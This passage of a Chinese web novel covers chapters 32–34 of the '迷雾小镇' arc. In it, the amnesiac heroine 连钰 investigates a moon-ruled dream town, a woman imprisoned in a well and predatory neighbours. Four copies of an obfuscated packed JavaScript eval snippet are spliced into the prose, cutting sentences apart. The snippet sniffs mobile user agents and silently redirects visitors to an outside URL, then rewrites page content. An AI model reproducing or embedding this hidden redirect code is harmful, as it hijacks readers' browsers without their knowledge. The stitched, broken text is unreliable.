路大叔一声喊,屋子后头跑来一个个高条顺的青年,白褂黑裤样式简单,但难掩帅气。一双眼睛稍微一笑就像月牙儿,看着就让人也忍不住跟着微笑。 梁玉从善如流站起身,但没想到路大叔说的“妹妹”是她,他自己又给梁锦倒上水,显得有些殷勤了。 这种中年男人大多数还是和梁父一样喜欢训人,不该这么客套的才对。 梁玉不放心梁锦留屋里,好在路远出门没带门,让她略微安心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478620|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路远是个喜欢笑的青年,他摘了朵蓝色的喇叭花,手指捏着花转着玩。那抹蓝色转得让梁玉觉得晃眼。不过她意外地觉得眼前的人很适合蓝色。 而且,她很不想承认,在看见这个人的第一眼她就觉得非常熟悉。要知道她看自己的画都没感觉。但她肯定不说,说了显得自己花痴。 “听阿姨说,你是偷偷跑出去了?” “嗯,我妈说因为偷跑,我才失忆的。” 路远搬了张马扎示意她坐下,自己也坐了。 “镇子里的规矩可不能忘。凡是晚上,只有月亮高兴了才能出来逛。月亮不高兴的时候出门,你就等着失心疯吧。” 梁玉心中一动。这和梁妈说的有点不一样。 “月亮不高兴的时候出门不会失忆吗?” “不知道,我又没这么干过。但以前这样的,都发疯了,”说着青年凑近了一点,躲着人一样说,“两个月前就有个人自-残呢。” 梁玉越发觉得奇怪。她有种感觉,自己的失忆根本不是因为在错误时间出门。 “路远哥,我失忆了什么都记不得,连名字都是我妈告诉我的,”梁玉微微颔首,眨巴眼睛,努力让自己看起来无害,“你跟我说说镇子里的规矩呗。” “啊,行,”路远一愣后继续说,“除了我刚才说的,还有一种情况。月亮流泪的时候,就要出事了,比月亮生气还可怕。一定会有人死。” 梁玉:这什么镇子,我生活的地方就这么可怕?你们对这种情况都习以为常吗? “还有吗?” “哦,还有就是不要摘镇子里的小白花。就是那种看起来很普通的,别摘。” 梁玉默默看向路远手里的花,咳咳还好是蓝色的。 路远顺着视线看去,有点尴尬。 “我这是蓝色的。保险起见,你这样什么都不记得的,还是什么白花都别摘,我怕你不认得。” “好。” 两人又继续聊了一会儿,梁玉见在路远这获取不了更多有价值的信息就想走。 “那个,”路远喊住梁玉,“你有什么事儿都能来找我。我爸说,咱们两家关系近,你现在失忆,有什么不方便的都来找我,我都有空。” 梁玉心想,你不跟着你爸多学学手艺,怎么还是个闲汉呢。 “好的路远哥。” 梁玉进去把梁锦拉出来。梁锦跟她说,路大叔要她帮忙买几件女孩喜欢的衣裳。 梁玉眉头一皱,恨不得能直接跟人吵起来。 她刚刚就发现了,路家里面完全没有梁家整洁,不说脏乱吧,就是缺了温馨和舒适感,不像有女主人。 这色大叔还要梁锦买衣裳干嘛,难道真对女孩有想法? “你以后离他远点,衣服我来买。” “可是,姐,你知道在哪买吗?” “……你带我去。” 回到自己的小阁楼后,梁玉看看屋里简陋的家具,更加确定自己的猜测。 她根本就不是这家人的大女儿。 走廊里挂的几乎都是梁玉的画,说明她很受宠,可她屋里的摆设和梁家表现出的经济状况完全不符,根本就是把她扔阁楼住而已。 路大叔第一面招呼的是梁锦,最开始对她的态度就像是陌生人,听梁锦说了后才搭话。 除此以外,她甚至大胆猜测,路远也不是路家孩子。哪家人跟谁关系近还需要自己爸爸说了才知道,路远又没有说自己失忆过。 路远那句话……就像是提醒,和梁锦给她的感觉一样。 [叮咚,您的留声机已上线。] 什么玩意儿…… [触发任务。请找回你丢失的记忆并逃离迷雾小镇。] 32. 迷雾小镇(2)月光光 [现在有两种可能。一,我是真的像别的违反规则的人一样疯了,只是没有到自-残那么可怕的地步。也许有一种疯是悄无声息的……] [行了你没疯,你的失忆有我的一份功劳。] 梁玉觉得自己虽然没有了记忆,但天然讨厌脑袋里这个声音,这种感觉十分熟悉。因此,她判定这个讨人厌的东西说的可能是真的。 接下来,面目可憎的留声机跟梁玉解释了一番。 [看来我之前的表现比较好,才让你在这个梦境给我加难度。一开始就失忆,我要是默认自己是他们所说的梁玉,岂不是一辈子都要在这个梦境?] [换个角度思考,无知无觉地活一辈子没什么不好,只要你合理化周遭的一切。] 梁玉不打算继续和留声机诡辩,说道。 [那你恢复我上个梦境的记忆吧。反正你要我找回的只是这个梦境里原身的记忆,或者说,身份。] [很敏锐。你收着吧,我走了。] 一个光点由窗户飘进阁楼,梁玉伸手接住,脑海里瞬间涌入一-大-波画面。 原来,她叫连钰。 连钰和梁玉,太像了。 她叹口气,对留声机的恶意又有了新的认识。 之后,梁家人仿佛遗忘了“大女儿”一样,一整天都没有叫她。连钰乐得自在,在脑海里整理好目前已知的关于月亮的规则后,决定等到晚上观察月亮状态,再决定要不要趁夜出去打探。 镇子里的人对月亮十分敬畏,夜晚一定是很特殊的时间段,能得到更多信息。 竹帘里漏出的日光渐长,给屋里的摆设都染上一层橘黄后才慢慢退去。连钰静静坐在床边,看日到中天再落下,梳理了上一个梦境。待到傍晚,也没人叫她下去用晚饭,她就大概明白这家人对她的态度了。 梁玉确有其人,梁家的大女儿或许是出意外已经死亡,但梁家人让她顶用这个身份会获得什么好处,是连钰接下来需要弄清楚的谜团之一。 连钰下床。脚有些麻,她慢慢靠近窗户,等到捏住木质窗框,才长呼一口气。 脚太麻了…… 她抬头望向月亮。起初,她觉得月亮没什么特别的,甚至又大又圆,皎洁的月光洒满长街,从二楼往下看,已经有烛火亮起,过往的行人都能看得比较清楚。 那么,现在月亮是在微笑? 她又抬头,这一次,她凝望得更久。这轮银盘的表面有些许暗点,大概是坑坑洼洼的月球表面吧,要不是连钰知道自己在梦境,都想科普一下月亮的常识。 看着看着,那些较暗的部分似乎在某一刻蠕动了一下。等连钰再定睛一看,又好像没有变化。 等她再想以全局视角观察月亮,她发现自己做不到。 天上的玉盘不知道什么时候来到了她面前,近到足以让她看清楚每一处沟-壑和明暗,然而却缺乏立体感,活像是一张巨大的ppt贴在她面前。 咔哒。 连钰从梦中惊醒。 她睡着了?什么时候? 竹帘柔顺地挂在两侧,月光径直洒入阁楼,替代被子,包裹住床上的女孩。 连钰跳下床。 这不对劲,她现在得看外面是否有人活动确定月亮状态,至于望月……她一时半会还没从月亮贴脸里缓过神,不太想走进窗户。 “你醒了?” 温柔的女声如一道炸雷,连钰的心跳速度飙升,双脚不自觉抽搐。这是她下意识想要逃跑的反应,但是脚麻了。 背后,那个女人一步一步,稳稳地走向连钰。连钰深吸一口气,猛地转身,到把女人吓了一跳。 “怎么一惊一乍的。看你没下来吃晚饭,我留了点饭菜。” 是梁妈。 “哦,谢谢……妈。” 连钰僵硬地接过大瓷碗,冰凉的手指触碰到温热的饭碗,让她略有些回到现实世界的感觉。 “吃吧。”梁妈嘴角扯出一抹微笑,转身离开,木门咔哒一声合上。 连钰平复思绪,想了想觉得梁家人不至于转着弯毒死自己,放心地吃了干干净净。看得出梁妈是提前留菜,碗里甚至有两块炖得酥烂的软排。 刚吃饱喝足,木门又响起了敲门声。 “姐,我们去买衣裳吧。” 连钰一怔,她的确说过跟梁锦一起买衣裳,但是,现在? 月光和灯火映照下,长街人头攒动,十分热闹。连钰算是明白为什么梁锦会现在出门买衣裳。 “小锦,月亮微笑的日子很难得吗?” “嗯……说不上难得,但也不算太多。” 也许是太敬畏月亮,小镇里的人在月亮微笑时心情格外放松,几乎都出门,摆摊的人占了最宽阔的长街,人人都爱来这逛逛。 两人走到一处摆着布匹成衣的摊子前,梁锦已经自如地和老板搭话砍价。小镇人不多,大概人人都认识,可老板对连钰态度淡淡。 连钰略微无奈。这些人,装都不装吗?除非,我对他们而言就是个陌生人。 “我”是镇子外的人? 连钰一边思考一边悄悄打量四周,发现一个熟悉的身影。 “梁锦,你买好后直接回家,我有点事儿。” “啊?可是……” 不是在那个色大叔家,梁锦就很安全。连钰钻入人群,牢牢跟着那个高大的身影,最终在一处面具摊前抓住他的手。 “……路远。” 连钰咽下那个要脱口而出的名字,换成对方在这个梦境的名字。 刚刚戴上一张青面獠牙的面具的男人回头,可他棕黑色的眸子在灯火跳动间不让人觉得害怕,反而有些想靠近。 “我不是你说的那个人。”对方故意压低声音,想要吓唬连钰。 连钰定定地看着他,从摊子上拿起一张黑色的面具戴上。 “那我也不是你想的那个人。” 路远切了一声:“没意思。走了。”他扔下两枚钱。 死傲娇。 连钰瞅了眼铜板,心中对这个梦境的时代背景越发迷糊,看摊主没拦着她,就上前几步跟紧路远。 “你在这做什么?” “这话该我问你吧,你不多休息,出门干什么?” 为了完成任务,就和你一样。连钰心中嘀咕。 路远和上个梦境里的楚明锋长相一模一样,除了瞳色变化,其它别无二致。 上个梦境里,队长想藏秘密,还时不时透露马脚。当然,楚明锋可能有别的考虑,露的马脚说不定也是故意为之。 但是这个梦境里,对方的演技是真的很好。 白天那一面,路远完全就是个热情的小镇青年,说话略有些紧张局促,符合见到不认识的女孩子的定位。 如果队长也来到了这个梦境,那么……连钰经历的梦境里个别角色很可能是和她一样的任务者。 集体梦境。 她在心中咀嚼这四个字,没注意到身前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503032|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人什么时候停下来,一头撞上对方宽阔的后背。 好痛! 面具恰好嗑到了连钰的鼻子。 她抬头怒瞪对方,发现路远也在瞪她。 ? 青年抱起胳膊,仔细一看,嘴唇抿起,嘴角都皱出了不高兴的弧度。 “说着说着人就没声儿了,是不是还得牵着你走。” ……这熟悉的腔调。所以,队长也认出她了吧。想想之前路远的话也别有深意,队长在疯狂暗示连钰,这下连钰终于接通频道了。 连钰眼睛一转,在路远又要不高兴前抓住了他的手。 “那就牵着我走吧。” 路远一愣,转过头一言不发,左手别扭地被连钰拽着,看起来倒像是被女孩牵着走。 连钰见他不甩开自己的手,就心安理得地跟着走。 “路远哥,你要去哪?” 路远的指尖一动,正好蹭过连钰的手心。 “帮我爸办点事。” “那我们现在是去?” “去镇长家修东西。” 镇长家肯定是有线索。连钰心中一动,看着路远的背影越发满意。 不愧是好队长,这个梦境路远的身份肯定很有用,这么快就能接触到镇长,接下来和队长一起行动说不定会有收获。 被盯着的路远知道连钰一直在看自己,可他不好说“你别看我了”,现在再甩开女孩的手又有点刻意。他纠结了半天,最后只能庆幸自己戴了面具。 否则就要被她发现了。 两人穿过人流,长街的另一头人越发稀少,路远转了几个弯,周围竟是完全没有行人。没有人,就没有灯火,只有月光的路面有明有暗,路远稳稳地避过水坑,连钰低着头踩他的路径,不知不觉走到了镇长家。 “待会跟着我,别轻易说话。” 连钰点点头,想到他背对着自己,又嗯了一声。 路远挣脱女孩的手,叩响了大门。 镇长家比其他人的屋子大气很多,和连钰看到过的景点大门差不多,乌黑的木门和铜制门环显得挺庄重。门口就差两座石狮子,就能让人真觉得这是景点。 路远叩响几下后,没有等里面的人回应就推开了门。 连钰有些惊讶,但想着路远的叮嘱没开口。 走进里头,宅院空荡荡的,只有一株枯树一口井,一张石桌并几张石凳。 镇长家意外地很朴素。 路远示意连钰留在院子里,自己推开东厢房的门,听声音是在里面找东西。 连钰很想说“队长你现在看起来就像个明目张胆的小偷”,又不得不憋回去。 可恶,不能吐槽真的很难受。 连钰环顾四周,坐到石凳上等路远出来。 簌簌。 连钰以为是树叶被风吹的声音,可是,院子里只有一棵枯树。 她吸口气,向声源处转身。 是离她两步远的石井里传来的。 今晚的月光格外皎洁,似乎是刚才的云走了,院子里月光白惨惨的,照得更清楚,也让连钰心更慌。 她上前两步。 井里大概是没水,没有折射的波光。黑乎乎一片,什么都没有。 连钰心下稍定,刚呼出一口气想坐回凳子上,井底的黑色动了一下。 角落里一块黑色上下翻涌,露-出一块白得像月光的东西。 连钰呼吸一窒。 那是一张人脸。 33. 迷雾小镇(3)消失的女人 连钰头皮一炸,但是人在突然受到惊吓时反而待在原地,就在她挪不开脚步的时候,井底的人脸动了。 人脸转动着角度,露-出一个笑容。 连钰猛吸一口气要撤退,人脸上的嘴巴一-张一合,好像在说什么。 可是连钰没听清。她定定神,没有走。再仔细一看,井底的人脸之下还有白色。 月光映照得女人皮肤格外雪白。 这是一个赤-裸的女人。 女人见连钰没有走更高兴了,伸手挥舞。连钰意识到这可能是个被囚禁的女人,不知道为什么竟然没有人发现她。 也许是没有人敢救她。 可是连钰没有工具,不知道怎么拉女人上来,她想说你等我看看有没有办法拉你上来,刚一张嘴连钰就想起来路远的叮嘱。 不对。万一这是陷阱呢? 女人见她有动作更着急了,大幅度挥舞手臂,但这一次连钰更谨慎,她要看女人有没有进一步行动。 连钰仔细瞧着,觉得女人的动作更像是提醒她不要下来。 她正思考,肩头被人拍了一下。 连钰兔子一样跳起来,发现是路远后差点没塞他一拳。 路远知道大晚上背后拍肩膀有点吓人,但顾不上解释,拽着连钰的手带她走。 出了镇长家,路远开口道:“你发现什么了?” “井底有个女人,像是被囚禁了,而且没穿衣服。很可能是镇长关的她,不然她一个人在下面没吃没喝早就死了。” 路远若有所思。 “下次一个人不要轻易去井旁边,要是拍你肩膀的人不是我,后果很危险。” 连钰现在也觉得后怕,但她经历过一次梦境后已经习惯大胆作死的解题方式,现在路远提醒她,她只点头应了。 “那个女人,回头我们还有机会调查。”路远定睛瞧了瞧连钰,总觉得这人没听进去自己的话,又补充一句。 “好好,下次叫你一起。” 路远:……所以你刚才没想过下次带我? 他没说心里话,只晃了晃手里的东西。果然连钰被吸引了注意力。 “你去镇长家就是拿灯?” 路远手里提着一盏大红灯笼,红色的外壳和黑色木质杆,看上去普普通通,里面的蜡烛没有点燃。 “嗯,我爸叫我去拿,他平时经常给镇子里做东西。” 队长在暗示自己他扮演的角色路远的父亲,也有文章? 抽到的角色很实用嘛。 连钰想想,上个梦境里楚明锋是队长,帮自己很多,这个梦境里,他是隔壁邻居,还接近梦境里关键角色,只要自己跟着他,就会有线索。 队长,没有你我可怎么办…… 路远一直往前走,突然打了个哆嗦。 奇怪,晚上没这么冷啊。 两人顺着来路回去,经过长街时连钰惊讶地发现小摊已经收了很多,没有之前那么热闹。 “月亮微笑时镇子里会集中摆摊,但是时间不长。”路远一边走一边说,就跟介绍景点似的顺口一提。 连钰默默记下。时间段也需要注意。 镇子不大,走回家没花多久时间。路大叔跟白天一样在院子里待着,看见两个人一道回来冷哼一声。 “爸,灯笼我提回来了。” “放屋里去,”路大叔躺在藤椅上一动不动,眼神移向连钰,“你少跟别的姑娘混,都是有媳妇的人了。” 路远脚下一滑,下意识看向连钰,表情有点慌乱。 连钰正被路大叔的眼神恶心得不行,听见这话感觉有些奇怪。 白天来时,她看路家不像是有女主人打理。屋子里一点女人的气息都没有,更别提看见所谓的路远媳妇。 路远媳妇人在哪? 难道路大叔让梁锦买的衣裳,是给自己儿媳妇的? 这么一想,连钰对妹妹稍稍放心。也许路大叔跟很多男人一样喜欢眼神乱飘,也许本人不会做什么出格的事情。 “路叔叔,我们只是恰好碰见,一起回来。你也知道我失忆了,路远不放心我。你要的衣裳我们也买好了,回头我就取来送给您。” 连钰这番话说得滴水不漏,路大叔没什么反应,只点点头,又闭目养神了。 路远踌躇半天,连钰眼神示意他赶紧回屋放东西,他才离开。 连钰估摸着今晚的探险到此结束,先回梁家。她不确定整夜待在外面乱晃会不会触发什么她目前不清楚的规则,还是先进屋比较好。 至于找线索,还要看下一次月亮的状态。 连钰推开梁家的门,一楼空无一人,她左顾右盼,踮着脚上楼。木制楼梯吱呀一声,在安静的晚上格外清晰。 她提着心,就要蹑手蹑脚回阁楼,被二楼角落里站着的人影吓一跳。 “……爸?” 影子转过身,月光从二楼窗户倾泻进来,确实是梁父。 “回来了?” “嗯。” 男人上下打量她,连钰不由得绷紧了身子。 “以后不用总去隔壁路叔叔家。” “可是,我不是要去学手艺吗?”连钰心下奇怪,这人白天还叫自己多去走动,现在口风又变,是发生什么变故了? “女孩子家家学什么木匠活儿,回头我再打听下别的,你安心待家里。” “……哦。” 连钰见梁父不说话,自己回了阁楼。上楼梯的那会儿,她觉得梁父还在盯着自己的背影。 合上房门,她长舒一口气。 连钰可以肯定,绝对是发生了什么才让梁父换了话术。 尽管之前梁父叫她多去隔壁走动的说法漏洞百出,可现在又突然让她不必去,就更奇怪。 路大叔更关注梁锦,让梁锦给路远媳妇买衣裳;梁父态度转变,又叫她多待家里…… 连钰摸了摸自己胳膊上的鸡皮疙瘩。 自从来到这个梦境,她就没放松过,体验感比第一个怪物满地跑的梦境还差。 有时候,人比鬼怪还可怕。她讨厌路大叔等人看她和梁锦的眼神。 她想了想路大叔突然提到的路远媳妇,有个想法油然而生。 “如果是这样……”连钰喃喃道,“那也未免太可怕。” 梁父让她去隔壁,不是为了让她这个假的大女儿去学手艺,而是让人相看她。 连钰的心一提。 她怕梁锦被看上。 路大叔没有说明路远的媳妇究竟是谁,万一是梁锦呢? 连钰想到那个笑容甜美的女孩,握紧拳头。 虽然梁家人态度古怪,但她没办法眼看着这个偷偷给自己塞芝麻糕的女孩被家人“卖掉”。尤其是被路家看上。路家要是只有路远还好,她相信队长的人品,但有路大叔在,她害怕梁锦去路家不仅仅是做儿媳妇那么简单。 “不行,必须得找个机会确定路远媳妇的身份。” 如果是其他无辜的女孩子……连钰也不觉得自己能心安理得坐视不管。 况且,这个梦境的梦主……还没有确定身份。 连钰在绿日时代被永昼城城主玩弄于股掌之间,被迫扮演满足祂趣味的棋子,但至少她学会了一点。 不论留声机发布的任务是什么,她都要找出梦境主题和梦主身份。 留声机惯会戏耍任务者,或许这才是任务者需要在每个梦境做到的,也是留声机最想要看的戏码。 连钰平躺在床上,床上没有被子,还好这里的晚上不冷。她双手交叠放在小腹上,闭上眼睛。 然而,白天睡多了,晚上睡不着。 连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534237|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钰一直闭着眼睛,思绪混乱,她觉得自己睡着了,可是意识却很清醒。 月光很白,覆盖住床上的女孩全身,女孩如同浸在毛玻璃里一般朦胧,恍惚间她觉得有人在抚摸自己的脸颊。 谁? 连钰皱紧眉头,在如水的月光里颤-抖,嘴唇微张,犹如被扔到岸上的鱼儿拼命想要呼吸。 她不知道过了多久,自己终于睁开双眼。 天光已经大亮。 同样明媚的日光从梁家大门照入室内,梁父坐在桌边盘核桃,卡拉卡拉的声音让梁锦瞅了几眼。 “还不去叫她下来。” 不多会儿,梁锦带着连钰下楼。 连钰尚不清楚这家人究竟要自己做什么,只能走一步看一步,观察梁家人的行动,于是顺从地跟着妹妹下楼。 梁家人吃早饭很安静,不如说,这个家一直都没什么动静。连钰到现在都不知道梁妈梁父的姓名,在她外出打听消息的时候,梁家人也不知在做什么。 一户人家总要有生计才能活下去,饭桌上的,衣柜里的,都要靠劳动获取。路大叔是木匠,可连钰到现在还不知道离自己最近的梁家人怎么工作。 “你就在家待着,哪儿也别去。闲着就找你妹妹说说话。”吃完饭,梁妈照旧柔顺地收拾碗筷,梁父双手一背,充作严父一般叮嘱连钰几句就出门。 连钰没吱声,等梁父走后,趁梁妈在厨房忙活,带着梁锦去送衣裳。 “姐,我自己来就行。” “你一个人拿不动。” 连钰睁眼说瞎话,提过包袱。 开玩笑,她才不能让梁锦一个人去。 路家院子里没人,连钰想了想,没有喊人,推开院门进去。 梁锦对此倒没什么反应。连钰见状心中有数,一般来说,镇子里相熟的人家进院子都没什么。 路家大门正好敞开够一人进的缝,连钰侧身进去,梁锦有些奇怪她不推门。 连钰回头小声说:“你在这儿等我,东西我送进去。我马上就出来。” 梁锦乖巧点头。 屋子里没有点灯,门缝里透的日光刚好够看清屋内摆设。连钰想了想,把布匹放大桌上,衣裳先攥手里,一边留神脚下,一边在一楼转悠。 路家的布局就一楼而言和梁家很像,一楼的房间没有动静,或许人在二楼。 连钰屏住呼吸靠近楼梯,但是仍然在桌子旁挪动脚步。 忽然,她听到一声非常细微的声响,但是实在太微弱,甚至让她觉得自己听错了。 她再想听,却什么动静都没了。 难道没人在家? 突然,屋后传来脚步声,连钰心中一凛,没空细想为什么那儿会有人,把手中的衣裳比划着角度放在布匹上面。 “陆叔叔。”院子里的梁锦突然开口。 果然是那个老色鬼。 连钰心跳加速,但没那么慌张。下一秒,路家大门就被彻底打开。路大叔背对着日光一脸不善地盯着连钰。 连钰在他开口前抢先说道:“大叔,衣服我们都买好了,给您放这儿呢。” 她拍拍手,装作不经意说:“您家这灰尘有点多,我想了想,把衣服放布上面。这样衣裳还是干净的,能现在就穿。” 路大叔一言不发,堵着大门不动弹。连钰一点不害怕地回瞪,过了半晌,他说:“行,麻烦你俩了。” 连钰心下稍定,这是忽悠过去了。就算路大叔猜测她来这有所企图,也没把柄。 她知道硬留在这儿也没办法,索性要离开。路大叔站在大门中间也不让她,连钰出门时不得不被迫擦肩而过。 对方胳膊上的汗水多少沾到了连钰的袖口,黏答答的,像甩不开的泥巴。 “有空再来。”中年男人趁她靠近时呵呵笑道。 34. 迷雾小镇(4)谁在看我 然而连钰短时间内可能不想也不能再去路大叔家里。 她和梁锦刚回家就被梁妈撞了个正着,梁妈叹口气叫她别和她爸对着干,今天就好好待屋里。连钰嘴上应和,没注意梁妈看见她的反应后,别有深意的眼神。 中午,梁父不知道去哪儿了一直没回,梁妈简单准备了两菜一汤,三个女人围着桌子默默吃饭,期间梁锦大概是觉得太沉默,主动制造话题,可惜另外两个人,一个是完全没有在镇子里的记忆不知道怎么回答,另一个像是有心事,梁锦说什么,她都淡淡地答应着,但没有具体的回应。 久而久之,饭桌上只剩下了动筷和瓷器碰撞的声音。 连钰想过讨好梁妈,至少在梦境里不能太得罪对方。梁父看起来就不好相处,不喜欢别人违背他,梁妈看似相对温和,如果要连钰和哪个梦境npc打好关系,她肯定首选梁妈。 然而,梁妈没理睬连钰要刷碗的请求,直接把她轰去了阁楼。 连钰站在二楼,看着梁锦进了其中一个房间,想要探索梁锦对面房间的心蠢蠢欲动。 “哦对,姐……”就在她想要趁梁锦关门的动静进入另一个房间时,梁锦想起来什么又回头和她搭话,连钰刚要迈出去的步伐被迫收回。 “姐,你……你是不是想打探路叔叔家情况?”梁锦好像没注意到连钰的脚步方向,只是压低了声音悄悄对连钰说话。 连钰心中一凛,她在这个丫头面前有些不设防了。 “是,”连钰大方承认,“他一看就不是什么正派人,你一个人去我不放心。” “我懂的。不过,姐姐你要是去路家,最好在路远在的时候去。” 梁锦照旧笑着,但是说话内容让连钰若有所思。 说完,小丫头就合上门,留连钰一个在走廊。连钰听着楼下梁妈第二遍用水的声音,知道她快刷好碗,不能再浪费时间,只得迅速回到阁楼。 连钰回想起在这个梦境最早见到的就是梁锦,之后梁锦不管是给自己芝麻糕也好,帮路大叔买衣裳也罢,都好像……在我自己铺路。 不论对方是不是和自己、和楚明锋一样是任务者,这个丫头都不是自己的对立面。 连钰躺在床上慢慢思考。如果梁锦和路远都是任务者,且目前看来,他们二人都在帮助自己,那么他们的任务会是什么? 连钰知道自己一直是留声机取乐的对象,所谓的任务不过是为了增添乐趣。 如果他们也有剧本,那他们角色的功能会是什么?应该不能只是为我扮演的梁玉提供帮助…… 话说,队长为什么会连着和我进入同样的梦境…… 连钰的思绪慢慢停滞,困意如透过竹帘的日光席卷她的全身。 好累,先睡一会儿吧……等等,我不能睡……昨晚梦里,有人…… 连钰努力呼吸着,右手啪地一下甩到自己的胸口,从上衣口袋掏出一根她顺来的绣花针,之后右手握住针,努力放回身侧。 不能睡…… 连钰用力扎了自己一下。尖锐的疼痛让她脑袋赢来片刻清醒,然而她的身体疲惫感依旧很重,呼吸逐渐放缓。 她努力和自己做抗争,时不时扎手心维持思绪清醒。 突然,阁楼的木门开了。 轻不可察的吱呀声在困顿的人听来近乎于无,但连钰刚巧扎了自己,捕捉到了这道声响。 会是谁?梁家人还是潜入的其他人? 还是有任务的其他任务者? 连钰的身体依旧平躺。女孩的头颅无所觉般背对着投射进的日光,恰好对上进入阁楼的来客。 如果不是她胸膛还在微微起伏,大概看到她的人会以为她已经死去。 连钰停止扎针的动作,避免被来者发现。 她不知道等了多久,大概困倦的人对于时间不够敏-感。 就在她快真的滑入梦乡时,来人终于有了动静。 连钰能感觉到那个人坐在了床边,极有可能正在凝视自己。 几个呼吸后,那人伸手,指尖擦过女孩的脸庞。接着往下,滑过她的喉咙,最终在衣领处停住。 连钰的心跳不可避免地开始加速,来者的举动让她忍不住猜想这人是梁父还是路大叔。 很快,她镇定下来,心跳开始降速。 不能慌,被这个人发现自己的异常,说不定这个梦境就出不去了…… 好在来者若无所觉。 指尖停留在女孩颈间片刻后,连钰听见自己的头顶传来一声喉间滑出的叹息。 接着,那人收回手,身体微微后仰,好像在观察女孩全身。 就在连钰真的快坚持不住时,那人低声道:“是个好货色,可惜……不听话。” 连钰悚然,鸡皮疙瘩都要蹦出皮肤。 “还好,就快到时间了。” 说完,那人不再停留,欣赏完床上的女孩后悄然离开。 木门轻轻合上,徒留下僵硬的连钰躺在床上不敢也不能动弹。 她控制不住自己的身体陷入昏睡,然而在昏迷前她已经知道窥视自己的人是谁。 那个人的声音在这个家里很有特点,又或者不如说,排除掉有特色的人声后,就只剩下了她。 是她……但好像也没什么意外,毕竟在这个梦里,谁都不能完全相信。 连钰怀揣着这个念头彻底陷入安静。 女孩在炽白的日光下“安睡”,同一片白到像假的日光下,路远手握那盏红皮灯笼,将补充好燃料的灯笼交给镇长。 “辛苦路叔了。”长相对于镇长这个位子过于年轻的男人轻声说道,没等路远回话就关上了大门。 路远没有计较。他瞅了一眼大门,脑海里闪过镇长在日光下暴露无遗的眼下青黑,他努力想要拼凑出镇长的行为模式,却还是缺乏线索。 “只有等晚上了。月亮,拜托给个面子。” 路远咕哝着,已经迫不及待等到晚上和连钰一起行动,如果月亮如他所愿能够微笑。 数小时后,月光洒满大地,寂静的长街镀上一层薄红。 连钰从昏迷中醒来,她张了张嘴,嗓子实在干哑,于是她闭上嘴,在屋里搜寻后找到之前自己打好的一瓶水,没有杯子的她只能对着暖水壶的嘴喝,好在放了一天,壶里的水温度刚好够入口。 她咕嘟咕嘟了好几大口后才活过来。等彻底醒神后,连钰才发现,屋里的光不对劲。 她走向窗边,红色的光自上由窗口倾泻而入。 这是月光? 她心中讶异,确定今晚月亮绝对不是微笑的状态。 窗户开的这条街上一个人都没有。 那么,月亮是在愤怒,还是在流泪? 连钰扶着墙的手不由得收紧。 如果是愤怒,出去的人会陷入疯癫;如果是流泪,一定会有人死,但是她不知道这个死亡名额会不会优先给出门的人。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555952|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样看来,她必须得再一次观察月亮。 连钰攥紧拳头。不看,就是没有线索原地踏步。按照留声机整人的风格……或许,她真的必须得再次观察月亮。 而且,她必须得弄清楚为什么她望月会出现幻觉。镇子里的其他人都没有表现出这种异常。 想到这,她不再害怕,走上前一步将自己彻底暴露在红色月光之下。 于是,连钰看见了一轮血色圆月。 又是圆月。 除了镀上一层红色光晕,这轮月亮和其它圆月乍一看没有区别。 “那你为什么要靠近我?”连钰喃喃。 突然,圆月上方的血色光晕如水波荡漾,凝结成一滴水从月亮上方滑下。 连钰仿佛听见了滴答声。 滴答,滴答。 更多的血水如暴雨打在玻璃窗上,从圆月的上方往下划过。 在这阵猛烈的,独属于月亮的血雨中,一双眼睛出现在月亮做的窗后,向凝望祂的女孩投以目光。 “原来你在愤怒。” 连钰定定地望向睁开眼的月亮,缓缓笑了。 这轮圆月只有一双眼睛,却能传达出和人一样的情绪。 “既然你在愤怒,那么我就不客气了。现在,正好是属于我外出的时间,不是吗?” 红色的月光同样洒进路远的房间,他在这偏暗的光线下静静望着钟摆左右晃动。 十点整。 如果是月亮微笑的时间,他现在本可以趁路父工作溜出去。 可惜不能。 